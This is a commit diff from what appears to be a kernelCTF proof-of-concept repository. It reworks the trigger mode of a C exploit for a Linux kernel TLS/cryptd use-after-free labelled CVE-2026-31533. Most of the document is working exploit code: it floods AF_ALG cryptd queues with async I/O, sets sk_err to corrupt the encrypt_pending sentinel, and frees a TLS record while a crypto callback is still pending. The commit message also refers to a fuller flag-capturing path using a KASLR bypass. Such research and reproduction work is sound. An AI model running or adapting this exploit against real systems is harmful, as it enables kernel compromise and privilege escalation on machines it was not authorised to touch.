Skip to content

Commit 536274e

Browse files
committed
CVE-2026-31533: make --vuln-trigger reliably reproduce under KASAN
The previous --vuln-trigger used the full exploit's heavy saturation (3000 threads / 4000 fds) and setrlimit(0x8000), which fails under the vuln-verify environment (unprivileged fd limit ~1024, KASAN ~3-5x slower) -- it never landed -EBUSY, so no KASAN report and vuln_verify returned UNKNOWN. Rework the trigger to fit that environment: raise RLIMIT_NOFILE to the hard limit, use a lean op-fd pool (~1008) for a finite AF_ALG MAY_BACKLOG burst that momentarily overflows the per-CPU cryptd queue (cryptd_max_cpu_qlen=1000), push a pending TLS record with sk_err set to corrupt the encrypt_pending sentinel, then submit one more async encrypt so the tls_rec is freed while a cryptd callback is still pending. With no heap spray the freed record's scatterlist is walked by __sk_msg_free()/bpf_exec_tx_verdict(), producing a KASAN report on the unpatched kernel (locally reproduced on a KASAN 6.12.77 build); the patch skips the double cleanup so it stays silent. Counts are overridable via VT_N / VT_DELAY / VT_RETRY. The normal (flag-capturing) exploit path is unchanged.
1 parent c886f9c commit 536274e

4 files changed

Lines changed: 318 additions & 212 deletions

File tree

Binary file not shown.

pocs/linux/kernelctf/CVE-2026-31533_lts_cos/exploit/cos-121-18867.381.30/exploit.c

Lines changed: 159 additions & 106 deletions
Original file line numberDiff line numberDiff line change
@@ -401,130 +401,183 @@ size_t bypass_kaslr(void)
401401
}
402402
}
403403

404+
static int vt_env(const char *k, int d) { const char *v = getenv(k); return v ? atoi(v) : d; }
405+
406+
/* Arm one AF_ALG op fd with a pending encrypt (one cryptd request). Large data
407+
* keeps the op in flight long enough for the burst to overflow the queue. */
408+
static void vt_arm(int op_fd)
409+
{
410+
char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20)];
411+
memset(cbuf, 0, sizeof(cbuf));
412+
struct msghdr msg = {};
413+
msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf);
414+
struct iovec iov = { g_buf, 0x10000 };
415+
msg.msg_iov = &iov; msg.msg_iovlen = 1;
416+
struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
417+
cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_OP;
418+
cm->cmsg_len = CMSG_LEN(4);
419+
*(uint32_t *)CMSG_DATA(cm) = ALG_OP_ENCRYPT;
420+
cm = CMSG_NXTHDR(&msg, cm);
421+
cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_IV;
422+
cm->cmsg_len = CMSG_LEN(20);
423+
((struct af_alg_iv *)CMSG_DATA(cm))->ivlen = 8;
424+
sendmsg(op_fd, &msg, 0);
425+
}
426+
427+
static int vt_make_tls(int *client_out, int *server_out)
428+
{
429+
int serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
430+
int flag = 1;
431+
setsockopt(serv, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag));
432+
struct sockaddr_in addr = {};
433+
addr.sin_family = AF_INET;
434+
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
435+
addr.sin_port = htons(SERVER_PORT);
436+
if (bind(serv, (struct sockaddr *)&addr, sizeof(addr)) < 0) { close(serv); return -1; }
437+
listen(serv, 1);
438+
int client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
439+
if (connect(client, (struct sockaddr *)&addr, sizeof(addr)) < 0) { close(serv); close(client); return -1; }
440+
socklen_t sz = sizeof(addr);
441+
int server = accept(serv, (struct sockaddr *)&addr, &sz);
442+
close(serv);
443+
setsockopt(client, SOL_TCP, TCP_ULP, "tls", sizeof("tls"));
444+
struct tls12_crypto_info_aes_ccm_128 info;
445+
memset(&info, 0, sizeof(info));
446+
info.info.version = TLS_1_2_VERSION;
447+
info.info.cipher_type = TLS_CIPHER_AES_CCM_128;
448+
setsockopt(client, SOL_TLS, TLS_TX, &info, sizeof(info));
449+
setsockopt(client, SOL_TLS, TLS_RX, &info, sizeof(info));
450+
*client_out = client; *server_out = server;
451+
return 0;
452+
}
453+
404454
/* ========================================================================
405455
* --vuln-trigger: reach the use-after-free on a KASAN build, without KASLR,
406-
* ROP or the heap spray. Corrupt the encrypt_pending sentinel, then free the
407-
* tls_rec while a cryptd callback is still pending; the callback fires on the
408-
* freed record and KASAN reports the UAF. On a patched kernel this is benign.
456+
* ROP or the heap spray.
457+
*
458+
* A finite burst of AF_ALG (MAY_BACKLOG) crypto ops momentarily overflows the
459+
* per-CPU cryptd queue (cap = cryptd_max_cpu_qlen = 1000). With a pending TLS
460+
* record and sk_err set, the cmsg push then hits crypto_aead_encrypt() ==
461+
* -EBUSY, the async callback observes sk_err and double-decrements the
462+
* encrypt_pending sentinel; freeing the tls_rec while a callback is still
463+
* pending yields the UAF that KASAN reports. Because the burst is finite, the
464+
* queue drains afterwards so the backlogged op completes (no permanent hang).
465+
* Tunables: VT_N (op fds), VT_DELAY (us after io_submit), VT_RETRY.
409466
* ======================================================================== */
410467
static void vuln_trigger(void)
411468
{
412-
struct rlimit rlim = { .rlim_cur = 0x8000, .rlim_max = 0x8000 };
413-
setrlimit(RLIMIT_NOFILE, &rlim);
469+
struct rlimit rl;
470+
getrlimit(RLIMIT_NOFILE, &rl);
471+
rl.rlim_cur = rl.rlim_max; /* raise soft to hard (no privilege needed) */
472+
setrlimit(RLIMIT_NOFILE, &rl);
473+
474+
int budget = (int)rl.rlim_cur - 16;
475+
int N = vt_env("VT_N", budget > 1010 ? 1010 : budget);
476+
int delay = vt_env("VT_DELAY", 40000);
477+
int retry = vt_env("VT_RETRY", 40);
478+
414479
pin_cpu(0);
415480
force_cryptd();
416481
cmsg_init();
417-
pthread_barrier_init(&g_barrier, NULL, THREAD_COUNT + 1);
418-
printf("=== CVE-2026-31533 --vuln-trigger (KASAN) ===\n");
419-
420-
/* TCP pair + kernel TLS */
421-
int client, server;
422-
{
423-
int serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
424-
int flag = 1;
425-
setsockopt(serv, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag));
426-
struct sockaddr_in addr = {
427-
.sin_family = AF_INET,
428-
.sin_addr.s_addr = inet_addr("127.0.0.1"),
429-
.sin_port = htons(SERVER_PORT),
430-
};
431-
bind(serv, (struct sockaddr *)&addr, sizeof(addr));
432-
listen(serv, 1);
433-
client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
434-
connect(client, (struct sockaddr *)&addr, sizeof(addr));
435-
socklen_t sz = sizeof(addr);
436-
server = accept(serv, (struct sockaddr *)&addr, &sz);
437-
close(serv);
438-
setsockopt(client, SOL_TCP, TCP_ULP, "tls", sizeof("tls"));
439-
struct tls12_crypto_info_aes_ccm_128 info;
440-
memset(&info, 0, sizeof(info));
441-
info.info.version = TLS_1_2_VERSION;
442-
info.info.cipher_type = TLS_CIPHER_AES_CCM_128;
443-
setsockopt(client, SOL_TLS, TLS_TX, &info, sizeof(info));
444-
setsockopt(client, SOL_TLS, TLS_RX, &info, sizeof(info));
482+
printf("=== CVE-2026-31533 --vuln-trigger (KASAN) N=%d delay=%dus retry=%d nofile=%lu ===\n",
483+
N, delay, retry, (unsigned long)rl.rlim_cur);
484+
485+
struct sockaddr_alg sa = {};
486+
sa.salg_family = AF_ALG;
487+
strcpy((char *)sa.salg_type, "skcipher");
488+
strcpy((char *)sa.salg_name, "cryptd(rfc3686(ctr(aes-generic)))");
489+
int *op = calloc(N, sizeof(int));
490+
int made = 0;
491+
for (int i = 0; i < N; i++) {
492+
int a = socket(AF_ALG, SOCK_SEQPACKET, 0);
493+
if (a < 0) break;
494+
if (bind(a, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(a); break; }
495+
setsockopt(a, SOL_ALG, ALG_SET_KEY, g_buf, 20);
496+
op[i] = accept(a, NULL, 0);
497+
close(a);
498+
if (op[i] < 0) break;
499+
made = i + 1;
445500
}
446-
447-
/* AF_ALG op sockets + AIO + worker flood to saturate the cryptd queue */
448-
int *op_fds = calloc(TOTAL_ALG, sizeof(int));
449-
pthread_t *tids = calloc(THREAD_COUNT, sizeof(pthread_t));
450-
struct drain_arg *dargs = calloc(THREAD_COUNT, sizeof(struct drain_arg));
451-
{
452-
struct sockaddr_alg sa = {
453-
.salg_family = AF_ALG, .salg_type = "skcipher",
454-
.salg_name = "cryptd(rfc3686(ctr(aes-generic)))"
455-
};
456-
char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20)];
457-
memset(cbuf, 0, sizeof(cbuf));
458-
struct msghdr msg = { .msg_control = cbuf, .msg_controllen = sizeof(cbuf) };
459-
struct iovec iov = { .iov_base = g_buf, .iov_len = 0x10000 };
460-
msg.msg_iov = &iov; msg.msg_iovlen = 1;
461-
struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
462-
cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_OP;
463-
cm->cmsg_len = CMSG_LEN(4);
464-
*(uint32_t *)CMSG_DATA(cm) = ALG_OP_ENCRYPT;
465-
cm = CMSG_NXTHDR(&msg, cm);
466-
cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_IV;
467-
cm->cmsg_len = CMSG_LEN(20);
468-
((struct af_alg_iv *)CMSG_DATA(cm))->ivlen = 8;
469-
for (int i = 0; i < TOTAL_ALG; i++) {
470-
int af = socket(AF_ALG, SOCK_SEQPACKET, 0);
471-
bind(af, (struct sockaddr *)&sa, sizeof(sa));
472-
setsockopt(af, SOL_ALG, ALG_SET_KEY, g_buf, 20);
473-
op_fds[i] = accept(af, NULL, 0);
474-
sendmsg(op_fds[i], &msg, 0);
475-
close(af);
501+
printf("[*] %d cryptd op fds (queue cap ~1000)\n", made);
502+
503+
io_context_t ctx;
504+
memset(&ctx, 0, sizeof(ctx));
505+
io_setup(made + 8, &ctx);
506+
struct iocb *cb = calloc(made + 2, sizeof(*cb));
507+
struct iocb **pp = calloc(made + 2, sizeof(*pp));
508+
509+
for (int attempt = 1; attempt <= retry; attempt++) {
510+
/* arm every op fd + prep one AIO read each */
511+
for (int i = 0; i < made; i++) {
512+
vt_arm(op[i]);
513+
pp[i] = &cb[i];
514+
io_prep_pread(&cb[i], op[i], g_buf, 1, 0);
476515
}
477-
}
478-
io_context_t aio_ctx;
479-
memset(&aio_ctx, 0, sizeof(aio_ctx));
480-
io_setup(AIO_COUNT + 4, &aio_ctx);
481-
struct iocb *iocbs = calloc(AIO_COUNT, sizeof(struct iocb));
482-
struct iocb **ptrs = calloc(AIO_COUNT, sizeof(struct iocb *));
483-
for (int i = 0; i < AIO_COUNT; i++) {
484-
ptrs[i] = &iocbs[i];
485-
io_prep_pread(&iocbs[i], op_fds[i], g_buf, 1, 0);
486-
}
487-
for (int i = 0; i < THREAD_COUNT; i++) {
488-
dargs[i].op_fd = op_fds[AIO_COUNT + i];
489-
dargs[i].barrier = &g_barrier;
490-
pthread_create(&tids[i], NULL, drain_thread, &dargs[i]);
491-
}
492516

493-
/* Pending record + sk_err (peer sends bad ciphertext, we recv it) */
494-
send(client, g_buf, 0x7000-29, 0);
495-
send(client, g_buf, 0xfd3, MSG_MORE);
496-
{
517+
int client, server;
518+
if (vt_make_tls(&client, &server) < 0) { usleep(50000); continue; }
519+
520+
/* craft the scatterlist layout + a pending record, set sk_err */
521+
send(client, g_buf, 0x7000 - 29, 0);
522+
send(client, g_buf, 0xfd3, MSG_MORE);
497523
unsigned char fake[5 + 64];
498-
fake[0] = 0x17; fake[1] = 0x03; fake[2] = 0x03;
499-
fake[3] = 0x00; fake[4] = 64;
524+
fake[0] = 0x17; fake[1] = 0x03; fake[2] = 0x03; fake[3] = 0x00; fake[4] = 64;
500525
memset(fake + 5, 0xCC, 64);
501526
send(server, fake, sizeof(fake), 0);
502527
usleep(10000);
503-
char rxbuf[256];
504-
recv(client, rxbuf, sizeof(rxbuf), MSG_DONTWAIT);
505-
}
528+
char rx[256];
529+
recv(client, rx, sizeof(rx), MSG_DONTWAIT);
530+
531+
/* burst-fill the per-CPU cryptd queue, then push the pending record */
532+
io_submit(ctx, made, pp);
533+
usleep(delay);
534+
int ret = tls_push_via_cmsg(client);
535+
if (attempt <= 3 || ret < 0)
536+
printf("[*] attempt %d/%d: cmsg push = %d (%s)\n",
537+
attempt, retry, ret, ret < 0 ? strerror(-ret) : "ok");
538+
539+
if (ret < 0 && -ret != EAGAIN && -ret != EINPROGRESS) {
540+
printf("[+] sentinel corrupted (err %d); triggering dangling callback (UAF)...\n", -ret);
541+
int se = 0; socklen_t sl = sizeof(se);
542+
getsockopt(client, SOL_SOCKET, SO_ERROR, &se, &sl); /* clear sk_err */
543+
544+
/* Phase 2: with encrypt_pending == 0, tls_encrypt_async_wait no
545+
* longer waits. Re-saturate the cryptd queue and submit one more
546+
* async TLS encrypt: the record is freed (bpf_exec_tx_verdict ->
547+
* tls_free_open_rec) while its cryptd callback is still pending.
548+
* No heap spray here, so the callback fires on the KASAN-poisoned
549+
* freed tls_rec -> use-after-free report. */
550+
for (int i = 0; i < made; i++) {
551+
vt_arm(op[i]);
552+
io_prep_pread(&cb[i], op[i], g_buf, 1, 0);
553+
pp[i] = &cb[i];
554+
}
555+
io_prep_pwrite(&cb[made], client, g_buf, 64, 0); /* async TLS encrypt */
556+
pp[made] = &cb[made];
557+
io_submit(ctx, made + 1, pp);
558+
sleep(3); /* let the dangling cryptd callback fire on freed memory */
559+
close(client);
560+
close(server);
561+
sleep(2);
562+
printf("[*] vuln-trigger done\n");
563+
return;
564+
}
506565

507-
/* Race: saturate the queue + cmsg push -> double-decrement -> sentinel=0 */
508-
sleep(1);
509-
io_submit(aio_ctx, AIO_COUNT, ptrs);
510-
pthread_barrier_wait(&g_barrier);
511-
int ret = tls_push_via_cmsg(client);
512-
printf("[*] cmsg push = %d (%s)\n", ret, ret < 0 ? strerror(-ret) : "ok");
513-
if (ret >= 0 || -ret == EAGAIN || -ret == EINPROGRESS) {
514-
printf("[-] race lost; re-run --vuln-trigger\n");
515-
return;
566+
/* drain the burst so backlogged ops complete before we close/retry
567+
* (otherwise tls_sk_proto_close would block in tls_encrypt_async_wait) */
568+
struct io_event ev[256];
569+
struct timespec ts = { 3, 0 };
570+
int got = 0;
571+
while (got < made) {
572+
int n = io_getevents(ctx, 1, 256, ev, &ts);
573+
if (n <= 0) break;
574+
got += n;
575+
}
576+
close(client);
577+
close(server);
516578
}
517-
printf("[+] sentinel corrupted; freeing tls_rec with pending callback (UAF)...\n");
518-
519-
/* Clear sk_err, then free the record while a callback is still pending. */
520-
int so_err = 0; socklen_t sl = sizeof(so_err);
521-
getsockopt(client, SOL_SOCKET, SO_ERROR, &so_err, &sl);
522-
close(client);
523-
close(server);
524-
sleep(3);
525-
printf("[*] vuln-trigger done\n");
579+
printf("[-] no -EBUSY after %d attempts; re-run --vuln-trigger\n", retry);
526580
}
527-
528581
/* ───────────────── Main ───────────────── */
529582

530583
int main(int argc, char **argv)
Binary file not shown.

0 commit comments

Comments
 (0)